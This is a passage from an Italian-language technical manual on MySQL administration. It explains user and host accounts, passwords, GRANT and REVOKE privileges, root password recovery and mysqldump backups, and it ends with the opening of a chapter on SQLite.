MySQL distingue le proprie utenze in base a un nominativo e al nome dell'elaboratore da cui questi accedono. Il nominativo può anche essere assente e in tal caso si parla di utenze anonime. L'accesso può essere sottoposto al controllo di una parola d'ordine; inoltre, può anche essere consentito l'accesso a una base di dati senza essere utenti conosciuti.

Dal momento che l'utente è sempre riferito a un certo elaboratore, diventa necessario provvedere a un sistema di risoluzione dei nomi, anche se si tratta solo del file '`/etc/hosts`'; è comunque assolutamente indispensabile che sia stato definito il nome '**`localhost`**', riferito all'indirizzo IPv4 127.0.0.1, per consentire almeno l'accesso all'utente '**`root@localhost`**' che è l'amministratore quando accede dallo stesso elaboratore che ospita il servente MySQL.

Un primo controllo di accesso si ottiene con la configurazione del servente MySQL, dove è possibile escludere l'accesso attraverso la rete con la direttiva '**`skip-networking`**', cosa che è utile fare quando il sistema di utenze e dei privilegi relativi non è ancora stato definito.

Per poter iniziare a organizzare le basi di dati e le utenze di MySQL, occorre agire con i privilegi dell'utente '**`root`**'. Quando si installa MySQL per la prima volta, è molto probabile che questo utente risulti essere sprovvisto di parola d'ordine, consentendo in pratica a qualunque utente di dichiararsi '**`root`**', senza bisogno di altre forme di riconoscimento (ecco perché inizialmente è bene che la configurazione impedisca almeno l'accesso dall'esterno, attraverso la rete). Per associare una parola d'ordine all'utente '**`root`**' presso l'elaboratore che ospita il servente MySQL (quindi '**`root@localhost`**') quando questo ne è ancora sprovvisto, basta usare il comando seguente:

mysqladmin -u root password 'ciaociao' [*Invio*]

Come si intende, la parola d'ordine che appare nell'esempio è proprio «ciaociao».

A partire dal momento in cui la parola d'ordine è stata definita, ogni accesso al servente compiuto da questo utente richiede la sua indicazione, a meno che questa parola d'ordine risulti inserita nel file di configurazione personale '~/.my.cnf':

```
[client]
user     = root
password = ciaociao
```

In questo caso, facendo riferimento alla sezione '**[client]**', la configurazione riguarda qualunque situazione in cui si accede al servente; in pratica riguarda qualunque programma. Eventualmente, si possono definire contesti più precisi; per esempio come nel caso seguente, in cui si consente di non specificare la parola d'ordine solo quando si utilizza il programma '**mysqladmin**':

```
[mysqladmin]
user     = root
password = ciaociao
```

Il sistema di gestione delle utenze di MySQL è abbastanza complesso, dove per esempio, è possibile anche concedere dei privilegi di accesso a utenti qualunque provenienti da un certo nodo, o da un certo gruppo di nodi.

Inizialmente dovrebbe essere previsto l'utente '**root@localhost**', come già descritto più volte, ma potrebbe esistere anche un utente '**root@*hostname***', ovvero l'utente '**root**' che accede dal nodo corrispondente al nome che si ottiene con il comando '**hostname**'. Entrambe queste utenze hanno tutti i privilegi possibili ed entrambe potrebbero essere inizialmente senza parola d'ordine.
Assieme alle utenze '**root@**...' potrebbero essere stati definiti dei privilegi di accesso molto limitati per qualunque nominativo-utente che accede dal nodo locale, ovvero '**@localhost**' (ma si rappresenta necessariamente come '**''@localhost**'). Di solito ciò consente di fare degli esperimenti con la base di dati denominata '**test**', prima ancora di avere studiato i criteri di controllo degli accessi.

Per quanto riguarda l'indicazione dei nominativi-utente, esistono solo due possibilità: indicare un nome preciso, oppure non indicarlo affatto. Nel secondo caso si intende fare riferimento a qualunque utente nell'ambito del nodo o del gruppo di nodi a cui la definizione dei privilegi è associata.

Il nodo di accesso può essere indicato per nome, per numero, oppure si può fare riferimento a un gruppo di nodi con l'uso di caratteri jolly oppure associando a un indirizzo una maschera di rete. I caratteri jolly in questione sono il simbolo di percentuale ('**%**') e il trattino basso ('_'). Segue una tabellina che descrive alcuni esempi di associazione tra utenti e nodi di accesso.

utente*@*nodo	Descrizione
tizio@dinkel.brot.dg	L'utente '**tizio**' che accede dal nodo *dinkel.brot.dg*.
@dinkel.brot.dg	Qualunque utente che accede dal nodo *dinkel.brot.dg*.
tizio@%	L'utente '**tizio**' che accede da qualunque nodo.

utente@*nodo*	Descrizione
@%	Qualunque utente che accede da qualunque nodo.
tizio@%.brot.dg	L'utente '**tizio**' che accede da un nodo che appartiene al dominio *brot.dg*.
tizio@brot.brot.%	L'utente '**tizio**' che accede da un nodo che appartiene a domini che iniziano per *dinkel.brot.**.
tizio@111.112.113.114	L'utente '**tizio**' che accede dal nodo corrispondente all'indirizzo IPv4 111.112.113.114.
tizio@111.112.113.%	L'utente '**tizio**' che accede da nodi con indirizzi IPv4 111.112.113.*.
tizio@111.112.113.0/255.255.255.0	L'utente '**tizio**' che accede da nodi con indirizzi IPv4 111.112.113.* (come nell'esempio precedente).

A seconda del contesto, le coordinate di un utente si indicano come nella tabella, inserendo il carattere '**@**' per separare le due parti, oppure in campi distinti. In molti casi, nell'ambito delle istruzioni di MySQL è necessario proteggere il nome dell'utente e l'indicazione del nodo o dei nodi di accesso attraverso apici singoli. Per esempio, per poter indicare qualunque utente, come nel secondo esempio della tabella, è necessario delimitare la stringa nulla: '**''@dinkel.brot.dg**'. Così, quando si usa il carattere jolly '**%**' è indispensabile delimitare l'indicazione riferita al nodo: '**tizio@'%.brot.dg'**'. In generale non si sbaglia se si delimitano sempre queste due componenti, anche se non dovesse servire: '**'tizio'@'dinkel.brot.dg'**'.

87.1.4 Accesso comune al servente

Prima di poter definire delle politiche di accesso, è necessario prendere un po' di confidenza con il programma '**mysql**', che consente di interagire con il servente MySQL. Si è già accennato al fatto che inizialmente dovrebbe risultare permesso l'accesso da parte di qualunque utente, inoltre dovrebbe essere disponibile la base di dati '**test**', a cui qualunque utente può accedere.

```
mysql [opzioni] [base_di_dati]
```

```
cat file_sql | mysql [opzioni] [base_di_dati]
```

I modelli sintattici mostrano la possibilità di indicare delle opzioni ed eventualmente il nome di una base di dati da aprire inizialmente. Nel secondo modello, si vede in particolare come si può alimentare il programma '**mysql**' con uno script SQL. La tabella successiva descrive alcune delle opzioni che possono essere utilizzate.

Opzione	Descrizione
-h *nodo* --host=*nodo*	Specifica il nome del nodo a cui ci si vuole connettere.

Opzione	Descrizione
-p [*parola_d'ordine*] --password [=*parola_d'ordine*]	Specifica la parola d'ordine da fornire per ottenere l'accesso; se non viene indicata come argomento dell'opzione, viene richiesta in modo interattivo. In generale è meglio evitare di fornire la parola d'ordine già nella riga di comando, per non renderla evidente nell'elenco dei processi elaborativi.
-P *n_porta* --port=*n_porta*	Specifica la porta da utilizzare per accedere al servizio; in modo predefinito è la numero 3306.
-u *utente* --user=*utente*	Specifica il nominativo-utente con il quale si vuole accedere.

Il programma '**mysql**' è uno di quelli che prende in considerazione la configurazione di MySQL, soprattutto per quanto riguarda il file '~/.my.cnf', dove gli utenti possono inserire il proprio nominativo-utente da utilizzare con MySQL e la parola d'ordine, per non dover ogni volta utilizzare le opzioni '**-u**' e '**-p**':

```
[client]
user     = tizio
password = supersegreta
```

Per esempio, se un certo utente del sistema operativo ha la necessità di identificarsi con il nominativo '**tizio**' e la sua parola d'ordine:

$ **mysql -u tizio -p** ... [*Invio*]

Enter password: ***digitazione_all'oscuro*** [*Invio*]

Oppure, disponendo del file '~/.my.cnf' mostrato sopra, può fare a meno di queste opzioni e dell'indicazione della parola d'ordine.

Viene mostrato un esempio riferito all'utente '**tizio**' che accede a un servente MySQL locale:

$ **mysql -u tizio** [*Invio*]

Molto probabilmente non è necessario inserire alcuna parola d'ordine, dal momento che inizialmente dovrebbe essere stata inserita automaticamente l'utenza anonima '**@localhost**' senza parola d'ordine:

```
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 14 to server version: 4.0.13-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
```

Da questo momento appare un invito speciale, rappresentato dalla stringa '**mysql>**'. La prima cosa che può essere conveniente fare è verificare la disponibilità di basi di dati a cui si può accedere:

mysql> **SHOW DATABASES;** [*Invio*]

Molto probabilmente si ottiene precisamente quanto segue, ovvero il riferimento all'unica base di dati, '**test**', a cui è consentito accedere con questo utente:

```
+----------+
| Database |
+----------+
| test     |
+----------+
1 row in set (0.03 sec)
```

Si può selezionare la base di dati con il comando seguente:

mysql> **USE test;** [*Invio*]

```
Database changed
```

Quindi si può tentare di consultare l'elenco delle relazioni disponibili, con il comando seguente, ma inizialmente la basi di dati '**test**' non ne contiene alcuna:

mysql> **SHOW TABLES;** [*Invio*]

```
Empty set (0.00 sec)
```

A titolo di esempio si vuole creare la relazione '**Indirizzi**' con il codice SQL seguente:

```
CREATE TABLE Indirizzi (
        Codice          INTEGER,
        Cognome         CHAR(40),
        Nome            CHAR(40),
        Indirizzo       VARCHAR(60),
        Telefono        VARCHAR(40)
    );
```

Con il programma '**mysql**' si può fare così:

mysql> **CREATE TABLE Indirizzi (** [*Invio*]

-> **Codice INTEGER,** [*Invio*]

-> **Cognome CHAR(40),** [*Invio*]

-> **Nome CHAR(40),** [*Invio*]

-> **Indirizzo VARCHAR(60),** [*Invio*]

-> **Telefono VARCHAR(40)** [*Invio*]

-> **);** [*Invio*]

```
Query OK, 0 rows affected (0.06 sec)
```

Come si può osservare, finché l'istruzione SQL non risulta completa, appare un invito differente: '**->**'.

Per completare l'esempio si può inserire qualche dato e poi si può visualizzare il contenuto della relazione:

```
mysql> INSERT INTO Indirizzi VALUES (01, 'Pallino', 'Pinco', [Invio]
    -> 'Via Biglie 1', '0222,222222'); [Invio]
```

```
Query OK, 1 row affected (0.06 sec)
```

```
mysql> SELECT * FROM Indirizzi; [Invio]
```

```
+--------+---------+-------+--------------+-------------+
| Codice | Cognome | Nome  | Indirizzo    | Telefono    |
+--------+---------+-------+--------------+-------------+
|      1 | Pallino | Pinco | Via Biglie 1 | 0222,222222 |
+--------+---------+-------+--------------+-------------+
1 row in set (0.00 sec)
```

Per concludere il funzionamento di '**mysql**' basta il comando interno '**quit**', che si può esprimere anche come '**\q**':

```
mysql> \q [Invio]
```

```
Bye
```

87.1.5 Base di dati amministrativa

MySQL gestisce le proprie informazioni amministrative all'interno della base di dati '**mysql**', a cui si dovrebbe poter accedere soltanto in qualità di utente '**root**' (possibilmente '**root@localhost**'), o comunque solo attraverso utenze speciali.

```
# mysql -u root -p [Invio]
Enter password: digitazione all'oscuro [Invio]
```

In questo modo si vuole accedere al servente MySQL locale, in qualità di utente '**root**' ('**root@localhost**'), fornendo anche la parola d'ordine.

```
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 15 to server version: 4.0.13-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
```

Si controlla la disponibilità di basi di dati esistenti:

```
mysql> SHOW DATABASES; [Invio]
```

```
+----------+
| Database |
+----------+
| mysql    |
| test     |
+----------+
2 rows in set (0.01 sec)
```

Si accede alla base di dati '**mysql**':

mysql> **USE mysql;** [*Invio*]

```
Database changed
```

Si elencano le relazioni disponibili:

mysql> **SHOW TABLES;** [*Invio*]

```
+-----------------+
| Tables_in_mysql |
+-----------------+
| columns_priv    |
| db              |
| func            |
| host            |
| tables_priv     |
| user            |
+-----------------+
6 rows in set (0.00 sec)
```

Il significato dettagliato di queste relazioni può essere studiato nella documentazione originale che accompagna MySQL. Ciò che è importante comprendere è che non si può consentire l'accesso a queste relazioni a utenti che non hanno un ruolo amministrativo. Tuttavia, durante la fase di studio di MySQL da parte di chi deve poi amministrarne il servizio, è utile imparare a consultare queste relazioni. Per esempio, è utile essere al corrente delle utenze che sono effettivamente previste:

mysql> **SELECT User, Host, Password FROM user;** [*Invio*]

```
+------------------+-----------+------------------+
| user             | host      | password         |
+------------------+-----------+------------------+
| root             | localhost | 576gtd435e967361 |
| root             | dinkel    |                  |
|                  | localhost |                  |
|                  | dinkel    |                  |
| debian-sys-maint | localhost | 69b3c178kbvcd325 |
+------------------+-----------+------------------+
5 rows in set (0.00 sec)
```

Quello che si vede qui è quanto si potrebbe ottenere dopo aver installato MySQL in una distribuzione GNU/Linux Debian, attraverso pacchetti appositi, in un elaboratore dove il comando '**`hostname`**' restituisce il nome '**`dinkel`**'. Si può notare la presenza dell'utente speciale '**`debian-sys-maint`**', a cui si è già accennato, ma si deve portare attenzione alle utenze «normali». Si può osservare che ci sono due utenti '**`root`**'; precisamente si tratta di '**`root@localhost`**' e di '**`root@dinkel`**'. La seconda di queste due utenze rappresenta l'utente '**`root`**' che accede localmente, ma attraverso la rete, da un'interfaccia che è associata al nome dell'elaboratore (in questo caso *`dinkel.brot.dg`*). Può anche darsi che un'utenza annotata in questo modo non risulti funzionante, ma rimane il problema, dato il fatto che si tratta di un'utenza importante e senza parola d'ordine per accedere (per quanto riguarda l'utenza '**`root@localhost`**' è già stato mostrato come definire la parola d'ordine ed è per questo che appare qualcosa nella colonna '**`password`**'). Eventualmente, si possono fare considerazioni simili per l'utenza anonima '**`@dinkel`**'.

Probabilmente è superfluo precisare che nella colonna '**`password`**', se esiste una parola d'ordine associata all'utenza, appare una stringa che rappresenta la parola d'ordine cifrata.

```
mysql> \q [Invio]
```

```
Bye
```

Durante la fase della prima installazione di MySQL uno script si occupa di creare le directory che devono ospitare i file che compongono le basi di dati, inserendo la base di dati amministrativa ('**`mysql`**'). In pratica, è questo script che definisce anche le utenze iniziali, senza parola d'ordine. Questo script è '**`mysql_install_db`**'.

87.2 Gestione del DBMS

Una volta superata la fase della configurazione del servizio di MySQL; una volta compreso come utilizzare gli strumenti essenziali per interagire con questo, si può passare alla gestione del DBMS, che implica l'amministrazione delle utenze e delle basi di dati.

87.2.1 Controllo delle utenze e degli accessi

Il modo normale per creare un'utenza con MySQL è quello di concedere dei privilegi di accesso, attraverso l'istruzione '**`GRANT`**'; se poi quell'utenza esiste già, i privilegi in questione vengono solo aggiunti a quelli già esistenti. Per eliminare un'utenza, invece, non è sufficiente privarla di tutti i privilegi con l'istruzione '**`REVOKE`**', perché occorre anche eliminare la tupla corrispondente all'utenza nella relazione '**`user`**' della base di dati '**`mysql`**'.

Il comportamento di MySQL è abbastanza diverso rispetto allo standard ANSI, per quanto riguarda l'identificazione delle utenze e l'attribuzione o l'eliminazione dei privilegi relativi. In particolare, è importante il fatto che MySQL distingua le utenze in base al nodo di provenienza; inoltre è possibile concedere privilegi complessivi: per una base di dati completa, o anche per tutte le basi di dati esistenti. A questo si aggiunga che è possibile fare riferimento a una relazione di una base di dati indicando esplicitamente la base di dati relativa, con la forma: '***base_di_dati*.*relazione***'.

Gli schemi seguenti mostrano la sintassi semplificata per l'uso delle istruzioni '**GRANT**' e '**REVOKE**' con MySQL:

```
GRANT privilegio [, privilegio]...
    ON {relazione | * | base_di_dati.* | *.*}
    TO utenza [IDENTIFIED BY [PASSWORD] 'parola_d'ordine']
        [, utenza [IDENTIFIED BY [PASSWORD] 'parola_d'ordine']]...
    [WITH GRANT OPTION]
```

```
REVOKE privilegio [, privilegio]...
    ON {relazione | * | base_di_dati.* | *.*}
    FROM utenza [, utenza]...
```

I privilegi che possono essere concessi o revocati sono espressi attraverso una parola chiave. Alcuni di questi privilegi sono descritti nell'elenco seguente:

Privilegio	Descrizione
`ALL [PRIVILEGES]`	concede tutti i privilegi disponibili;
`ALTER`	consente la modifica delle relazioni;
`CREATE`	consente la creazione delle relazioni;
`DELETE`	consente la cancellazione dei dati contenuti nelle relazioni;
`DROP`	consente l'eliminazione delle relazioni;
`INDEX`	consente di creare ed eliminare degli indici;
`INSERT`	consente l'inserimento di dati nelle relazioni;
`SELECT`	consente la lettura dei dati nelle relazioni;
`UPDATE`	consente la modifica dei dati all'interno delle relazioni;
`USAGE`	serve solo a creare un utente senza privilegi;
`GRANT OPTION`	consente di dare ad altri i propri privilegi.

Si osservi che MySQL prevede anche privilegi «particolari», che dipendono dalle proprie specificità rispetto allo standard ANSI. In generale, si può considerare che l'utente '**root**' deve possedere tutti i privilegi, mentre possono esistere delle utenze amministrative fittizie (come nel caso di '**debian-sys-maint**') con privilegi particolari legati alla possibilità di arrestare il funzionamento del servente MySQL.

Lo standard ANSI prevede la concessione di privilegi su relazioni singole, mentre MySQL permette di fare riferimento a basi di dati complete. Pertanto, nel modello sintattico mostrato sono apparse delle notazioni speciali:

Modello	Descrizione
relazione	rappresenta una relazione singola, che può contenere anche l'indicazione della basi di dati che la contiene, nella forma '***base_di_dati*** . ***relazione***';
*	l'asterisco rappresenta tutte le relazioni della basi di dati attiva, ma se non è stata selezionata una base di dati in precedenza, si fa riferimento a tutte le basi di dati;
base_di_dati . *	l'indicazione di una base di dati con un asterisco al posto del nome della relazione, serve a fare riferimento a tutta la base di dati nel complesso;
* . *	l'indicazione di due asterischi separati da un punto serve a fare riferimento esplicito a tutte le relazioni di tutte le basi di dati.

Quando si utilizza l'istruzione '**`GRANT`**' è consentito l'uso dei caratteri jolly '_' e '`%`', con il significato comune nell'ambito del linguaggio SQL. Ciò consente di fare riferimento a gruppi di relazioni e a gruppi di basi di dati, secondo la corrispondenza del modello. Tuttavia, nel caso questi simboli debbano essere usati in modo letterale, è necessario proteggerli con la barra obliqua inversa: '`\_`' e '`\%`' (in generale, è improbabile che si dia un nome a una base di dati o a una relazione che contenga il simbolo di percentuale, ma è più probabile che si pensi invece di usare il trattino basso).

Come già accennato altre volte, l'utenza tiene conto anche della provenienza dell'accesso, secondo la forma seguente:

nominativo_utente [`@`***nodo_di_provenienza***]

Pertanto, l'indicazione del nominativo è obbligatoria, mentre si può omettere la specificazione del nodo di provenienza, se si vuole fare riferimento a qualunque origine.

Sono già stati descritti i modi in cui si può rappresentare un utente secondo il modello '***utente***`@`***nodo***'; in particolare è già stato descritto l'utilizzo dei caratteri jolly (anche se sono stati mostrati soltanto esempi con il simbolo '`%`').

Si ricorda comunque che si possono usare i caratteri jolly soltanto nella parte che descrive i nodi di provenienza

Infine, è già stata indicata la necessità di usare gli apici singoli per delimitare separatamente il nominativo e la specificazione del nodo di provenienza quando questi nomi contengono caratteri «particolari», compresi i caratteri jolly '`%`' e '_'.

Si possono presentare delle ambiguità nell'individuazione dei privilegi delle utenze. Per esempio, può esistere l'utente anonimo '**`''@dinkel.brot.gd`**', l'utente '**`tizio@'%'`**' e l'utente '**`tizio@dinkel.brot.gd`**': quando un utente accede valgono per lui i privilegi più specifici che gli si possono individuare, altrimenti, in presenza di utenze anonime, i privilegi di queste prevarrebbero.

Come si vede dal modello sintattico dell'istruzione '**`GRANT`**', è possibile specificare una parola d'ordine. Quando si concedono dei privilegi a un utente che non è ancora stato definito e non si stabilisce la parola d'ordine, l'utenza in questione rimane priva di parola d'ordine; pertanto, per accedere non deve essere fornita. Se invece l'utenza esiste già, i privilegi vengono aggiunti e la presenza di una parola d'ordine eventuale serve solo per cambiare quella preesistente.

Tuttavia, è possibile cambiare una parola d'ordine anche con l'istruzione '**SET PASSWORD**', se si tratta della propria o se si hanno i privilegi dell'amministratore:

```
SET PASSWORD FOR utenza = PASSWORD('parola_d'ordine')
```

In alternativa, è anche possibile usare il comando '**mysqladmin**' (dal sistema operativo), ma solo per cambiare la propria parola d'ordine:

```
$ mysqladmin password 'supersegreta' [Invio]
```

Se si utilizza l'opzione '**GRANT OPTION**', o '**WITH GRANT OPTION**', si permette all'utenza a cui si fa riferimento di concedere ad altri gli stessi privilegi di cui si dispone.

Come accennato, l'eliminazione di un'utenza richiede prima l'eliminazione di tutti i privilegi e quindi la cancellazione dalla relazione '**user**' della base di dati '**mysql**'.

Nel seguito vengono descritti alcuni esempi attraverso una sequenza lineare di operazioni, a cominciare dall'avvio del programma '**mysql**' per interagire con il servente.

```
$ mysql -u root -p [Invio]

Enter password: parola_d'ordine [Invio]
```

```
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6 to server version: 4.0.13-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
```

Si crea una base di dati nuova:

```
mysql> CREATE DATABASE Magazzino; [Invio]
```

```
Query OK, 1 row affected (0.26 sec)
```

Si crea un utente amministratore per la base di dati appena creata, che può accedere da dove vuole:

```
mysql> GRANT ALL ON Magazzino.* TO amministratore@'%' ↩
↪      IDENTIFIED BY 'segreta' WITH GRANT OPTION; [Invio]
```

```
Query OK, 0 rows affected (0.35 sec)
```

Si osservi che se esiste un'utenza anonima riferita al nodo locale (utenza che verrebbe indicata come '**''@localhost**'), se l'utente appena creato volesse accedere localmente, non verrebbe identificato come amministratore, ma solo come utente anonimo. Per risolvere il problema si potrebbe aggiungere l'utente '**amministratore@localhost**', ma in questo caso si preferisce eliminare l'utenza anonima che interferisce e non si vuole mantenere:

```
mysql> REVOKE ALL ON *.* FROM ''@localhost; [Invio]
```

```
Query OK, 0 rows affected (0.15 sec)
```

```
mysql> USE mysql; [Invio]
```

```
  Database changed

mysql> DELETE FROM user WHERE user = '' AND host = 'localhost'; [Invio]

  Query OK, 0 rows affected (0.15 sec)
```

Si crea un'altra utenza in grado di consultare e di modificare i dati delle relazioni che deve contenere la base di dati '**`Magazzino`**'; anche in questo caso si consente l'accesso da qualunque nodo:

```
mysql> GRANT DELETE, INSERT, SELECT, UPDATE ON Magazzino.* ↩
↪      TO tizio@'%' IDENTIFIED BY 'ottimo'; [Invio]

  Query OK, 0 rows affected (0.05 sec)
```

Supponendo di avere installato MySQL nell'elaboratore *`dinkel.brot.dg`*, dovrebbero essere presenti anche le utenze '**`''@dinkel`**' e '**`root@dinkel`**', che si preferisce eliminare:

```
mysql> REVOKE ALL ON *.* FROM ''@dinkel; [Invio]

  Query OK, 0 rows affected (0.15 sec)

mysql> REVOKE ALL ON *.* FROM root@dinkel; [Invio]

  Query OK, 0 rows affected (0.15 sec)

mysql> USE mysql; [Invio]

  Database changed

mysql> DELETE FROM user WHERE user = '' AND host = 'dinkel'; [Invio]

  Query OK, 0 rows affected (0.15 sec)

mysql> DELETE FROM user WHERE user = 'root' AND host = 'dinkel'; [Invio]

  Query OK, 0 rows affected (0.15 sec)

mysql> \q [Invio]

  Bye
```

La documentazione di MySQL descrive anche come compiere tutte queste operazioni amministrative intervenendo esclusivamente nella base di dati '**`mysql`**'. Nel caso si preferisca intervenire in quel modo, è necessario concludere le operazioni di modifica o aggiornamento delle relazioni amministrative con l'istruzione '**`FLUSH PRIVILEGES`**'.

87.2.2 Amministrazioni varie attraverso il sistema operativo

«

In questo capitolo si è fatto riferimento più volte al programma '**`mysqladmin`**' a proposito della possibilità di assegnare e modificare la parola d'ordine di un utente. Questo programma ha anche altre funzionalità; in particolare consente di creare ed eliminare una base di dati e di arrestare il funzionamento del servente MySQL, senza bisogno di utilizzare istruzioni SQL. Vengono sintetizzate le sintassi da utilizzare per le varie occasioni:

Comando	Descrizione
`mysqladmin [-u root] [-p] [-h` ***nodo***`]` ↩ ↪`create database` ***base_di_dati***	crea la base di dati indicata;
`mysqladmin [-u root] [-p] [-h` ***nodo***`]` ↩ ↪`drop database` ***base_di_dati***	elimina la base di dati indicata con tutto il suo contenuto;
`mysqladmin [-u` ***utente***`] [-p] [-h` ***nodo***`]` ↩ ↪`password` ***parola_d'ordine***	assegna o cambia la parola d'ordine per accedere;
`mysqladmin [-u root] [-p] [-h` ***nodo***`] shutdown`	arresta il funzionamento del servente.

87.2.3 Ripristino della parola d'ordine dell'amministratore

«

Nel caso fosse necessario modificare la parola d'ordine dell'amministratore del DBMS ('**`root`**'), senza poter conoscere quella precedente, esiste un procedimento che è bene annotare. Per prima cosa si deve arrestare il servente, nel caso questo fosse in funzione; dovrebbe essere possibile farlo così:

`/etc/init.d/mysql stop` [*Invio*]

Successivamente si deve avviare '**`mysqld_safe`**', con l'opzione '**`--skip-grant-tables`**', in modo da ignorare completamente il controllo dei privilegi concessi (o negati) agli utenti del DBMS:

`mysqld_safe --skip-grant-tables &` [*Invio*]

Se il servizio si avvia regolarmente, è possibile accedere alle basi di dati senza vincoli; pertanto è possibile cambiare parola d'ordine intervenendo direttamente nella base di dati amministrativa '**`mysql`**':

`mysql -u root` [*Invio*]

```
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2 to server version: 4.0.24_Debian-10-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
```

`mysql>` **`USE mysql;`** [*Invio*]

```
  Reading table information for completion of table and column names
  You can turn off this feature to get a quicker startup with -A

  Database changed
```

mysql> **UPDATE user SET password=password("supersegreta")** ↩
↪ **WHERE user="root";** [*Invio*]

```
  Query OK, 2 rows affected (0.00 sec)
  Rows matched: 2  Changed: 2  Warnings: 0
```

mysql> **\q** [*Invio*]

```
  Bye
```

Un modo alternativo, ma drastico, di ripristinare l'utenza dell'amministratore senza parola d'ordine, consiste nell'eliminazione «manuale» della base di dati '**mysql**', da ricostruire con l'aiuto di '**mysql_install_db**'. Naturalmente, in questo modo si perdono le informazioni su tutti gli altri utenti del DBMS.

87.2.4 Archiviazione e recupero delle basi di dati

MySQL gestisce le sue basi di dati come sottodirectory di '`~mysql/`', che di solito corrisponde a '`/var/lib/mysql/`'. Per esempio, la base di dati '**prova**' corrisponde alla struttura che si articola a partire da '`~mysql/prova/`'.

Per archiviare una base di dati è sufficiente fare una copia della struttura che la riguarda; per ripristinare una base di dati è sufficiente rimpiazzare la struttura esistente con la sua copia fatta in precedenza; per duplicare una base di dati è sufficiente fare la copia della struttura di origine, utilizzando un nome differente. Per esempio, disponendo della base di dati '**prova**', è possibile creare un'altra identica, ma con nome differente, così:

cp -dpRv ~mysql/prova ~mysql/prova2 [*Invio*]

In base all'esempio si ottiene una seconda base di dati con il nome '**prova2**', con lo stesso contenuto di '**prova**'.

Tuttavia, con il procedere dello sviluppo di MySQL bisogna considerare la possibilità che il formato dei file usati per descrivere le relazioni delle basi di dati cambi nel tempo. Pertanto, per archiviare una base di dati in modo abbastanza duraturo, è necessario creare un file di testo contenente comandi SQL. Si ottiene questo con il programma '**mysqldump**':

mysqldump -u root -p prova > prova.sql [*Invio*]

L'esempio mostra in che modo archiviare la base di dati '**prova**' nel file '`prova.sql`'. Per fare questo, logicamente, ci si identifica in qualità di amministratore (con il nominativo '**root**') e nell'esempio si usa l'opzione '**-p**', per richiedere l'inserimento della parola d'ordine, supponendo che ciò sia necessario.

Per ripristinare un file ottenuto in questo modo, occorre prima creare o ricreare la base di dati; nell'esempio seguente si cancella prima la base di dati '**prova**', quindi la si ricrea vuota:

```
# mysql -u root -p [Invio]

Enter password: digitazione_all'oscuro [Invio]

  Welcome to the MySQL monitor.  Commands end with ; or \g.
  Your MySQL connection id is 6 to server version: 4.0.13-log

  Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> DROP DATABASE prova; [Invio]

  Query OK, 0 rows affected (0.00 sec)

mysql> CREATE DATABASE prova; [Invio]

  Query OK, 1 row affected (0.00 sec)

mysql> \q [Invio]

  Bye
```

Per recuperare la base di dati archiviata in forma di comandi SQL, dopo un controllo visivo del suo contenuto, si può procedere così:

```
# mysql -u root -p prova < prova.sql [Invio]

Enter password: digitazione_all'oscuro [Invio]
```

In questo modo, si fa leggere a '**mysql**' il contenuto del file 'prova.sql', che dovrebbe contenere le istruzioni per la rigenerazione delle relazioni della base di dati originaria.

Si osservi che nella riga di comando di '**mysql**' appare l'indicazione della base di dati di destinazione; pertanto, si potrebbe benissimo ricreare una base di dati con un nome differente da quello che aveva nel momento dell'archiviazione in forma di comandi SQL. Di conseguenza, questa tecnica di archiviazione e recupero è anche quella più appropriata per duplicare una base di dati.

87.3 Riferimenti

- MySQL AB, *MySQL reference manual*
  ⟨*http://dev.mysql.com/doc/mysql/en/index.html*⟩

[1] **MySQL** GNU GPL

Capitolo 88

SQLite

88.1 Utilizzo generale 5303
88.1.1 Utilizzo di «sqlite3» 5304
88.1.2 Copie di sicurezza 5305
88.1.3 Accesso simultaneo a più basi di dati 5306
88.2 Esempi comuni 5306
88.2.1 Creazione di una relazione 5306
88.2.2 Modifica della relazione 5307
88.2.3 Inserimento dati in una relazione 5307
88.2.4 Eliminazione di una relazione 5308
88.2.5 Interrogazioni semplici 5308
88.2.6 Interrogazioni simultanee di più relazioni 5310
88.2.7 Alias 5311
88.2.8 Viste 5312
88.2.9 Aggiornamento delle tuple 5312
88.2.10 Cancellazione delle tuple 5312
88.2.11 Inserimento in una relazione esistente 5313
88.3 Riferimenti 5313

88.1 Utilizzo generale

SQLite[1] è una libreria in grado di fornire le funzionalità di un DBMS relazionale, basato sul linguaggio SQL, utilizzando come basi di dati dei file singoli. In pratica, SQLite gestisce una basi di dati intera in un file singolo, senza alcuna amministrazione esterna; pertanto, le utenze e i privilegi sono definiti dal sistema operativo, in quanto gli accessi sono regolati dai permessi del file che contiene la basi di dati.

In qualità di libreria, SQL consente ai programmi che la utilizzano di avere accesso a una basi di dati anche senza bisogno di collegarsi a un servizio DBMS tradizionale, facilitando così la realizzazione di piccoli progetti.

Di norma, la libreria SQL è accompagnata da un programma per l'esecuzione interattiva di istruzioni SQLite, che consente di accedere alle sue basi di dati in modo generalizzato.

88.1.1 Utilizzo di «sqlite3»

Per creare o accedere a una basi di dati di SQL, si può usare il programma '**sqlite3**', o '**sqlite**' nelle versioni più vecchie, che accompagna normalmente la libreria vera e propria:

```
sqlite3 [opzioni] [file_base_di_dati]
```

Generalmente, alla fine della riga di comando si indica il nome del file base di dati a cui si vuole accedere; se poi il file non dovesse esistere, il fatto di nominarlo implicherebbe comunque la sua creazione (come base di dati vuota). Se il nome di questo file non viene fornito attraverso la riga di comando, occorre usare un'istruzione apposita, durante il funzionamento di '**sqlite**'. L'esempio seguente mostra l'avvio e la conclusione del programma, allo scopo di accedere alla base di dati contenuta nel file 'mia_prova.db':

$ **sqlite3 mia_prova.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite3> **.quit** [*Invio*]

Come si può intendere, si tratta di un programma che si comporta sostanzialmente come altri programmi frontali simili, usati per accedere in modo diretto ad altri DBMS basati su SQL.

Tabella 88.2. Alcune opzioni per l'avvio di '**sqlite3**'.

Opzione	Descrizione
-init *file*	Consente di indicare un file contenente comandi per '**sqlite3**'; può trattarsi di comandi interni al programma, oppure di istruzioni SQL.
-column	Richiede di mostrare i risultati in modo incolonnato.
